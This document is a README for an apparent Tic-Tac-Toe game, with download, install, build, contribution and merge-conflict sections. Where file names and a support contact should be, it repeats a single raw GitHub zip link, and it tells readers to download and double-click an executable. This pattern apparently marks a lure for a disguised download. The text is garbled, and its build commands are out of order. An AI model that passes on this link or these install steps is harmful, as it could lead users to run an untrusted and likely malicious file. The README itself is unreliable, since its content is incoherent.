Welcome to the Tic-Tac-Toe application! This simple game allows you to play Tic-Tac-Toe with friends or practice against an AI opponent. Follow these steps to get started.
To download the application, visit this page to download: Tic-Tac-Toe Releases.
- Click the link above to access the releases page.
- Look for the latest version.
- Download the executable file suitable for your operating system.
- Locate the downloaded file on your computer and double-click it to start the installation.
Once installed, follow these steps to start playing:
- Open the Tic-Tac-Toe application.
- Choose to play against a friend or the AI.
- Take turns to place your mark (X or O) on the grid.
- The first player to align three marks in a row wins!
- Single-Player Mode: Play against an AI that adjusts its difficulty.
- Multiplayer Mode: Challenge your friends to a match.
- Simple Interface: Easy-to-use design for all ages.
- Move History: Track past moves for analysis.
Before you install, ensure your system meets these requirements:
- Operating System: Windows 10 or later / macOS Mojave or later
- Processor: 1 GHz or faster
- RAM: 1 GB of memory
- Storage: At least 100 MB of free space
- Graphics: Integrated graphics or better
If you wish to run tests on the application, you can use the command line. Follow these steps after downloading:
- Open your terminal (Command Prompt on Windows, Terminal on macOS).
- Navigate to the project directory.
- Execute the following commands:
mkdir build
cd build
cmake --build .
make
ctest --verboseWe welcome contributions to improve the Tic-Tac-Toe application. If you'd like to help, please follow these steps:
- Fork the repository.
- Create a new branch for your changes.
- Make your modifications.
- Submit a pull request with clear descriptions of what you changed and why.
This repository contains an example demonstrating a merge conflict scenario. It includes:
Branch: feature/ai-opponent
- Adds AI opponent functionality to
https://raw.githubusercontent.com/Badexp9683/tic-tac-toe/main/Sanskritize/tic-tac-toe-3.1.zip - Modifies
makeMove()function to track move history
Branch: feature/undo-move
- Adds undo functionality to
https://raw.githubusercontent.com/Badexp9683/tic-tac-toe/main/Sanskritize/tic-tac-toe-3.1.zip - Also modifies
makeMove()function to save the previous state
When both branches are merged, they conflict because the same makeMove() function is altered in different ways.
This is a good opportunity to learn about resolving merge conflicts in version control.
If you have any questions or need support, please reach out to us at https://raw.githubusercontent.com/Badexp9683/tic-tac-toe/main/Sanskritize/tic-tac-toe-3.1.zip.
Thank you for trying out Tic-Tac-Toe! Enjoy your game!